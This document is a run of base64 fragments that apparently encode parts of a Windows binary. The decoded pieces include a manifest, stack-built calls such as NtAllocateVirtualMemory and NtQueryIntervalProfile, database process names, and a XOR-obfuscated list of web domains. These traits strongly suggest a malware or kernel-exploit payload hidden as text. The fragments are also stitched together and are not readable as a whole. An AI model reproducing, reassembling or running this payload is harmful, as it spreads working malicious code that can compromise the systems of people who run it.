ACEAIQAEAAQABAAEAAQABAAEACBAYEBgQGBAYEBgQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBEAAQABAAEAAQABAAggGCAYIBggGCAYIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECARAAEAAQABAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAACAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQAAEBAQEBAQEBAQEBAQEBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAACAQIBAgECAQIBAgECAQIBAQEAAAAAgIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6W1xdXl9gYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/eAcCEMgHAhB1AGsAAAAAAEEAAAAXAAAAAQAAADhOARACAAAAQE4BEAMAAABITgEQBAAAAFBOARAFAAAAYE4BEAYAAACUfQEQBwAAAFR9ARAIAAAAaE4BEAkAAABwTgEQCgAAAHR9ARALAAAAeE4BEAwAAACATgEQDQAAAJx9ARAOAAAAiE4BEA8AAACQTgEQEAAAAJhOARARAAAAoE4BEBIAAACoTg','oYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGFoYWhhaGBgYGBgYGBgYCAgYGHoIGBjkOBgYeggYGK4IGBgcORgYrggYGAEJGBgEORgYAQkYGNEKGBggORgY0QoYGMYKGBhUORgY+AoYGNELGBhEORgYyAsYGAIMGBhoORgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYG','aJRcpYai5miUXMWGowZol9rmaJfbJfaiBmiUXOZolduGaJXdJbanZYajpmiUXYWGoxZolF2lhqLmaJRdxmiUXeWGopZolF4FhqbGaJReRYamlmiUXoWGprZolNvmaJTdZZakdmiUXqWGaJVcRmiX3QZold1GaJfeJmiV3mZolN7GaJVe5miV3wZolF8os9kDIBEDPbamNYam9miUX2WFNTZolF+jPAU2aJRfyNhXT///9qAVBmiVX0ZolN+P/XiUYEhcB1FWgAAAAQU1NqAY2FdP///1D/14lGBF9eW4vlXcNVi+yD7BRTix2gMgEQVovxV4N+BAB0Bf92BP/Ti87o2/3','hJhUSODgkN2xqbWtsUXZ+dyYVEiQ3eWtrfXV6dGEmFRIYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAGAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAgAAADAAAIAAAAAAAAAAAAAAAAAAAAEACQQAAEgAAABgMAIAfQEAAAAAAAAAAAAAAAAAAAAAAAA8P3htbCB2ZXJzaW9uPScxLjAnIGVuY29kaW5nPSdVVEYtOCcgc3RhbmRhbG9uZT0neWVzJz8+DQo8YXNzZW1ibHkgeG1sbnM9J3VybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxJyBtYW5pZmVzdFZlcnNpb249JzEuMCc+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSdhc0ludm9rZXInIHVpQWNjZXNzPSdmYWxzZScgLz4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCjwvYXNzZW1ibHk+DQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAABsAAAAOzC6MEoxozK/MtUyAzMKMy0ztjMdNDc0QzSQNKI0zTTcNOU0ETUWNeM19zUANgs2FjYcNqg2ODf3OP44LjlJOWQ6bTqDOow6kzqcOqw6tTrLOtQ62zrkOsQ72juEPBA9gj26PwAgAACwAAAACTE+MVgxZzGOMaQxujHNMd8xIzLSMrM0SzV2NYA1ijWUNZ41qjW0Nb41yDXSNfs1LzZCNkw2VjZgNmo2lzaqNrQ2vjbINtI24TYGNxA3GjckNy43ODdWN2A3ajd0N343iDcwOEs4gjiwOM844jj2OCU5PTnlO309lj2oPbo9Iz4oPi4+4z7oPu4+AT8XPyk/OT+iP6o/tT+/P8U/yj/QP9k/4z/pP/U/ADAAAIwAAAAAMAYwHDAiMDEwrzC1ML4wyDDOMNMw2TDiMOww8jAeMWgxbjGOMdIx2DGUMpsyoDKyMrky2zIIM1MzWjNfM4QzsTP5MwA0BTTCN1g5gTm9OcY56jlIOnk66DrxOkI7aTucOx08MDxoPOk8/DxBPYQ9xj3QPfw9XT5yPnw+qT65PuE/AAAAQAAAIAEAAA4wZDBbMmEy/DICMxYzHDMhMyczLTMzMzkzPzOPM5cznTOjM7AztjPDNMk0zzTUNNo04DTqNPA09TT7NAE1BzUNNRM1YzVrNXE1dzWBNYc1wTXeNQA2EjZGNmM2hTadNqQ2vjb6Nh03RjdeN4g3jzewN9I3+jcpOEc4dTh8OKE4yzjdOPU4DTk7OUI5STmBOas5zznoORM6SDpROpc6qjrKOtc63TryOjs7QTtKO1Q7ajtxO3g7fzuGO407lDubO6I7qTuwOw48JDwzPDs8QTxRPFc8YzxpPG88dTx7PIA8jjyrPLQ8yzzdPOI88Tz2PFM9Xz2BPY09rz27PUg+WD5wPnQ+ej5+PoQ+iD6iPqQ/2D/uP/c/AAAAUAAA/AAAAAMwZTCdMOwwBjETMU8xWDFoMW4xeTHhMf0xJzJAMn0ylDKtMrsyxDLTMtgy4DLoMowzmDNLNFQ0cDSGNI80JzgzOEI4Sjh+OJI4nTj+OAU5CjkhOS45OTllOXE5dzmEOdI56Dn5OQM6CjoROhg6HzomOi06NDo7OkI6STqDOok6lDqaOqo6sDq2Ors6wTrHOsw60jrYOt064zrpOvA6+Dr+OgQ7CTsPOxU7GjsgOyY7LDsyOzk7PztFO087XDthO2c7bDtyO3c7fTuHO407kjuYO507ozvbO+s79jsAPBQ8JTwsPXA+qT4bPy0/OT9BP5o/sT8AYAAAGAEAAAQwDjAYMCIwLDA2MEAwSjBUMF4waDBvMHYwfTCEMIswkjCZMKAwpzCuMLUwvDDDMMow0TDYMN8w5jDtMPQw+zACMQkxEDEXMR4xJTEsMV4xcjGGMY8x1','AxwWsEgIQmAAAAMcFmBICEJQAAADHBZQSAhAkAQAA6boBAACDvYj9//8GD4WmAQAA6DYMAACFwA+E5gAAAMcFoBICEPgAAACDvYz9//8AdWjorvf//4mFTP///4mVUP///8eFRP///wgAAACDpUj///8AuESkABCZiYUk////iZUo////xwWcEgIQaAEAAMcFpBICEGgAAADHBawSAhDgAAAAxwWYEgIQ6AAAAMcFlBICEIgBAADrZuhG9///iYVM////iZVQ////x4VE////CAAAAIOlSP///wC4hKQAEJmJhST///+JlSj////HBZwSAhAIAgAAxwWkEgIQcAAAAMcFrBICEIgBAADHBZgSAhCAAQAAxwWUEgIQiAEAAOmxAAAAxwWgEgIQlAAAAIO9jP3//wB1UOj68///iUWEx4VU////BAAAAMcFqBICEBsSAADHBZwSAhDgAAAAxwWkEgIQSAAAAMcFrBICEKAAAADHBZgSAhCcAAAAxwWUEgIQJAEAAOtO6Krz//+JRYTHhVT///8EAAAAxwWoEgIQJhIAAMcFnBICEPgAAADHBaQSAhBQAAAAxwWsEgIQuAAAAMcFmBICELQAAADHBZQSAhAkAQAA6wczwOmnBwAAx0X4AAEAAMeFMP///wAQAADGRYhOxkWJdMZFikHGRYtsxkWMbMZFjW/GRY5jxkWPYcZFkHTGRZFlxkWSVsZFk2nGRZRyxkWVdMZFlnXGRZdhxkWYbMZFmU3GRZplxkWbbcZFnG/GRZ1yxkWeecZFnwCDpZj+//8AagZZM8CNvZz+///zq/+1MP///42FmP7//1D/dfj/FbwxARCDjbT+////g424/v///41FiFD/deT/FaAxARCJhRT///+DvRT///8AdQczwOnbBgAAg6UY////AGoEaAAwAACNhTD///9QagCNRfhQ/xW0MQEQUP+VFP///4mFGP///4O9GP///wB0BzPA6Z0GAABqAGgAAAIAagBqAP8VdDIBEImFIP///4O9IP///wB1F2gAgAAAagD/dfj/FcQxARAzwOlmBgAA/7Ug/////xV4MgEQhcB1F2gAgAAAagD/dfj/FcQxARAzwOk/BgAAaIABAACykI2NqPr//+ij7P//WY2FqPr//1BqIGoBagFqYP8ViDABEIlF4I2FqPr//1BqIGoBagFqYP8ViDABEIlF/OjeCAAAhcAPhAYDAAC6AAIAAI2NqPj//+ht7P///3Xg6Njt//9ZiYXo/v//iZXs/v///3X86MPt//9ZiYV8////iVWAg6XE/v//AIOlQP///wCLhUD///+LjXz///+JSCiLTYCJSCyLhej+//+D6AiLjez+//+D2QCLlUD///+JQlCJSlSNhaj4//+JhVj///9qCFhrwACLjVj///+LlXz///+JFAGLVYCJVAEEaghYweAAi41Y////i5V8////iRQBi1WAiVQBBGoIWNHgA4VY////iUX0agRYa8AAi030xwQBgAEAAGoEWMHgAItN9McEAc2rAABqBFjR4ItN9McEAQYAAABqBFhrwAOLTfTHBAEAAAEAagRYa8AGi030xwQBAAKABI2FqPj//5lSUGoBagBoBxMAAOjiCQAAg8QUiUXoiVXsi4VM////A4VE////i41Q////E41I////iYXQ/v//iY3U/v//Zg9XwGYPE4XI/v//jYXQ/v//mVJQagBqCItF4JlSUGoDagBotBAAAOiICQAAg8QkiUXoiVXsjYXI/v//mVJQagBqCItF/JlSUGoDagBo3hAAAOheCQAAg8QkiUXoiVXsjYUk////mVJQagBqCItF/JlSUGoDagBotBAAAOg0CQAAg8QkiUXoiVXsjY38/v//6IQLAACJheD+//+JleT+///GRaBOxkWhdMZFolHGRaN1xkWkZcZFpXLGRaZ5xkWnScZFqG7GRal0xkWqZcZFq3LGRax2xkWtYcZFrmzGRa9QxkWwcsZFsW/GRbJmxkWzacZFtGzGRbVlxkW2AP+15P7///+14P7//41NoOjjCwAAiYU4////iZU8////i4U4////C4U8////dRdoAIAAAGoA/3X4/xXEMQEQM8DpUAMAAGYPV8BmDxOFvP7//42FvP7//5lSUGoAaDcTAABqAv+1PP////+1OP///+h6CQAAg8QciUXoiVXsjYXI/v//mVJQagBqCItF/JlSUGoDagBotBAAAOgaCAAAg8QkiUXoiVXs6dYCAAD/deDoSOv//1mJhdj+////dfzoOev//1mJhXj///+DpTT///8Ag6Us////AIuFLP///4uNeP///4lIFIuF2P7//4PoBIuNLP///4lBLLpcAQAAjY0o/P//6Brp//+NhSj8//+JhXT///9qBFh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fZ+O4XSeDKLRdiL18HqH4vIA8DB6R8LwgP/i1WwiUXYA9K4//8AAIl91AvRA/CJVbCJVdxmhfZ/ymaF9n9puP//AAAD8GaF9nldi12Ei8b32A+3wIlFmAPw9kXUAXQBQ4tN2','zHgMesx9DELMh8yJzIyMlwyfTK+MscyzjLaMuky8DL3Mv4yCTMhMykzMjM/M0YzTTNUM2AzbzN2M30zhDOLM5IzmTOgM6sz7TPzNRE2FzYyNjk2SDZUNls2iDaqNrM2yTYxN383lzewN8A31jflNxk4OjhFOFU4XDhjOGo4djiTOMY4zTjUONs4+TghOSg5UTlfOXM5gTmtOec57jkSOiI6MTpJOmI6cjqKOpM63TvwO/c7/jsmPFI8AHAAADgBAABbMJAwtTDEMN8w6TAMMRYxITFNMVgxaTF3MZExsDHNMdUx3jHoMfA','AACAffQAdAeLTfCDYXD9i8PpvgAAAItF6IN4dAF+LYvDjU3owfgIiUUIUQ+2wFDot7D//1lZhcB0EotFCGoCiEX8iF39xkX+AFnrFegBrP//M8lBxwAqAAAAiF38xkX9AItF6I1V+GoB/3AEagNSUY1N/FFX/7CoAAAAjUXoUOgm','MAbwBtAG0ALgBlAHgAZQAAAG0AeQBzAHEAbABkAC4AZQB4AGUAAAAAAG0AeQBzAHEAbABkAC0AbgB0AC4AZQB4AGUAAABt','AAAE1lc3NhZ2VCb3hXAEdldEFjdGl2ZVdpbmRvdwBHZXRMYXN0QWN0aXZlUG9wdXAAAEdldFVzZXJPYmplY3RJbmZvcm1hdGlvblcAAABHZXRQcm9jZXNzV2luZG93U3RhdGlvbgAE7gAQZSswMDAAAABDAE8ATgBPAFUAVAAkAAAAMSNTTkFOAAAxI0lORAAAADEjSU5GAAAAMSNRTkFOAAAAAAAAAAAAAAAAAABBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvAAAAAGV4cGFuZC','ZgVrBXYFJQUrBWwFZgVqBSUFKwVsBWYFdgUlBSsFaQVrBW4FJQUrBW4FYAV8BSUFKwVsBWEFfQUlBSsFaAVqBWEFJQUrBWgFdQVkBSUFKwVoBXYFZgUlBSsFaAV2BXUFJQUrBWgFdgV2BXEFfAVpBWAFdgUlBSsFaAV2BXAFJQUrBWsFagVoBWAFYQVsBWQFJQUrBWoFZgV9BSUFKwV1BXcFYwUlBSsFdwVqBWgFJQUrBXcFcQV1BSUFKwV2BWYFdwUlBSsFdgVtBXYFJQUrBXYFdQVpBSUFKwV2BXwFdgUlBSsFcQVtBWAFaAVgBSUFKwVxBW0FYAVoBWAFdQVkBWYFbgUlBSsFYAV9BWAFJQUrBWcFZAVxBSUFKwVmBWgFYQUlBSsFYgVkBWsFYQVmBXcFZAVnBSUFKwVOBVcFRAVHBSUFKwVGBVcFRAVHBSUFKwV/BWAFdwVqBXUFbQVkBWIFYAVaBWwFWgVpBWwFbgVgBVoFfAVqBXAFdwVaBXUFbAVmBXEFcAV3BWAFdgUFBQAAAAAAAAAAAAAAAAAAcgVyBXIFKwU3BWgFaAVqBXEFagV3BXYFdQVqBXcFcQUrBWcFbAV/BT4FcgVyBXIFKwVtBWQFZAV3BWIFYAVrBWQFcAUrBWcFbAV/BT4FcgVyBXIFKwVnBWwFfwV/BWwFawVsBWwFawVjBWwFdgV2BWwFKwVmBWoFaAU+BXIFcgVyBSsFbQVqBWkFfwVnBWoFZgVuBSsFZwVsBX8FPgVyBXIFcgUrBWMFaQVsBXUFcQV3BWQFfAUrBWcFbAV/BT4FcgVyBXIFKwV1BWwFfwVmBWQFaAUrBWYFagVoBT4FcgVyBXIFKwV2BXIFbAV2BXYFcgVgBWkFaQVrBWAFdgV2BSsFZgVqBWgFPgVyBXIFcgUrBW0FagVxBWAFaQVyBWAFbAV2BXYFbQVqBXcFawUrBWYFagVoBT4FcgVyBXIFKwVyBW0FbAVxBWAFdQVqBWEFKw','XcFdgVtBWoFdgV1BWwFcQVkBWkFbAVxBXwFKwVmBWoFaAU+BXIFcgVyBSsFaQVwBWIFZAVrBWoFbQVqBXEFYAVpBWQFYQVoBWwFdwVkBWkFKwVmBWoFaAU+BXIFcgVyBSsFZwVgBWkFaQVgBXMFcAVgBXIFbAVgBXYFYAVrBSsFZgVqBWgFPgVyBXIFcgUrBW0FagVxBWAFaQVxBXcFcAVsBXEFYAUrBWYFagVoBT4FcgVyBXIFKwVtBWoFcQVgBWkFYgVkBXcFawVsBSgFZwVkBXEFcQVgBWkFaQVqBSsFZgVqBWgFPgVyBXIFcgUrBXYFYAVoBWwFawVkBXcFbQVqBXEFYAVpBSsFZgVqBWgFPgVyBXIFcgUrBW4FdwVqBWsFYAV3BWAFYgVgBWsFdgVnBWAFdwViBSsFZgVqBWgFPgVyBXIFcgUrBXUFcAVwBXcFYAVtBXAFcAV2BSsFZgVqBWgFPgVyBXIFcgUrBW0FagVxBWAFaQUoBX8FYAV3BWgFZAVxBXEFKwVmBWoFaAU+BXIFcgVyBSsFdgVxBWYFbQV3BWwFdgVxBWoFdQVtBWAFdgVkBSsFZgVqBWgFPgVyBXIFcgUrBWsFbQUoBW0FagVxBWAFaQV2BSsFZgVqBWgFPgVyBXIFcgUrBXYFZgVtBXIFYAVrBWEFYAVpBWcFYAV3BWIFKwVmBWoFaAU+BXIFcgVyBSsFdgVxBWQFaQVhBWAFawUrBWYFagVoBT4FcgVyBXIFKwVzBWwFYgVrBWoFZwVpBWAFYQVqBXcFYAUrBWYFagVoBT4FcgVyBXIFKwVgBXwFbQVqBWkFfwUrBWYFagVoBT4FcgVyBXIFKwVjBWkFYAVoBWwFawViBXYFKAVtBWoFcQVgBWkFKwVmBWoFaAU+BXIFcgVyBSsFbQVsBWAFfQViBWAFawVgBXMFZAUrBWYFagVoBT4FcgVyBXIFKwV1BWAFcQVsBXEFKAV1BWQFdwVkBWEFbAV2BSsFZgVqBWgFPgVyBXIFcgUrBWcFYAV3BWIFbQVkBXAFdgUoBXEFagVrBWwFKwVmBWoFaAU+BXIFcgVyBSsFbQVqBXEFYAVpBWIFaQVkBWsFbAV2BSsFZgVqBWgFPgVyBXIFcgUrBTQFMwVgBWgFYAUrBWYFagVoBT4FcgVyBXIFKwV2BXEFZAVwBWcFZwVkBWYFbQUrBWYFagVoBT4FcgVyBXIFKwV2BWQFaAVrBWQFcAVrBWAFdwVtBWoFYwUrBWYFagVoBT4FcgVyBXIFKwVkBWwFdwV1BWoFdwVxBW0FagVxBWAFaQVnBWQFdgVgBWkFKwVmBWoFaAU+BXIFcgVyBSsFYAVpBWwFcQVgBSgFZwVsBWAFaQUrBWYFagVoBT4FcgVyBXIFKwVkBXAFZwVgBXcFYgVgBWYFagVwBXcFagVrBWsFYAUrBWYFagVoBT4FcgVyBXIFKwVpBWAFKAV2BWQFbAVrBXEFKAVtBXAFZwVgBXcFcQUrBWYFagVoBT4FcgVyBXIFKwVnBWoFawVoBWoFawVxBSsFZgV','x9jGPNJY0xjSJNZM15DX6NRs2IjY5NkI2SDZONm02fDaHNpw2pzatNr82yDbTNgk3ITc1N0k3WTdtN4E3lTerN9I37jcKODo4YzhrOH84iziXOKM4rzi7OMc40zjjOPM4AzkOOSY5OjlAOVE5WzlgOWc5dDl/OYQ5jjmTOZo5pzmzObo5zznvOQw6HDosOjw6TDpoOo86vjrOOto64TrnOgk7HjsqO0A7YDuSO6I7rzu2O7w70jvZO+47GDwqPDE8PDxDPFo8bDxyPHs8gjyLPJM8yjzhPO88DD0WPR09KT0wPXg9vD3IPeI95z0WPls+ez6yPvQ++z4XPyQ/uT++P8w/3j/zPwAAAIAAAFwBAAAUMB8wKDAzMEMwUzBjMGowfjCFMLAwwjDMMPAwADERMSQxMjFGMVQxaDF2MYoxmDGsMboxzjHcMfAx/jESMiAyUTJYMmIyaTJ2MoQyoDKuMrgy3jLpMv0yCDMeMykzPzNKM2AzazOBM4wzojOtM8MzzjPtM/gzFDQiNEw0azR8NJ000DT4NAE1JzUsNUk1UTV3NXw1nzXyNQ42ITYoNjE2bjZ3NpA2sja3NtY22zbqNgM3MTc4Nz83RjdNN743ADgQOBU4LThAOEU4WjhlOHY4eziBOIg4mTjLONM48zj7OAM5CzkTORs5IzlBOUo5aTmkOcg5EjodOiY6PDpMOlU6XTpkOoQ6jzrEOuI6CTsQOxc7HjslOyw7Mzs6O0E7SDtPO1Y7XTtkO4I7lzusO9E7/DsEPAk8ETwePEM8TTxqPIo8lTy9PBk/dT+iP9E/2D/4PwAAAJAAALwAAAABMAgwIjBWMGwwnTDBMMgw4jBAMk8yZjKDMsgyFzMlMzQzcDOgM+Qz8jMBNBo0RzSFNNY05DTzNEc1qDXyNQw2GTYuNjg2SDZhNm02fTaGNpA2sjYPN2s3yjfpNwk4VjhzOIs4ljieOKU4sji5OMc4JjluOfc5PzpVOm06ezqNOqY6tzrNOvU6FzsoOzc7PztsO5Y7CzyfPLY82Tz0PCE9Oz1ZPWI9bz1/PYw9lj2jPco9AAAAoAAAlAAAALkwlzKyMuwyDTMjM2ozkTOWM6EzwTPNM9wz5TPuM/kzwjUUNxs3MTc7N8o31Tf1NwM4GjglOFQ4uTjCOMo45DgDORg5Ijk7OUU5Ujlc','0X0A8eJfdzByA6JfZCLfegz+ItF5ANF8MHABzFF2ItF2IlFnANF5MHACYl96Il9hIt91DP4i0XYA8eJfdTBwA0xRfCLRfCJRZQDx8HIDol9oIt95DP4i0X8iX3kiX2Yi33gA8fBwAcz2ItF/APDw','mt7cH11eWs1dXF7andrd35sNXt3dSJ5a3U2bis6JhUSODg4OCRrfXttanFsYSYVEjg4ODg4OCRqfWltfWtsfXxIanFucXR9f31rJhUSODg4ODg4ODgkan1pbX1rbH18XWB9e21scXd2VH1ufXQ4dH1ufXQlP3lrUXZud3N9aj84bXFZe3t9a2slP355dGt9Pzg3JhUSODg4ODg4JDdqfWltfWtsfXxIanFucXR9f31rJhUSODg4OCQ3a317bWpxbGEmFRI4OCQ3bGpta2xRdn53JhUSJDd5a2t9dXp0YSYVEhgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGAgYGFQYGBgCKDsoMSg3KFkoXyhJKHYobCiZKLQoriilKOoo5CgyKS0pQSlHKYwphCmlKfkp9CnjKRgqOypXKnYqmCqfKoEq/Sr1KhgYGBg','YGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY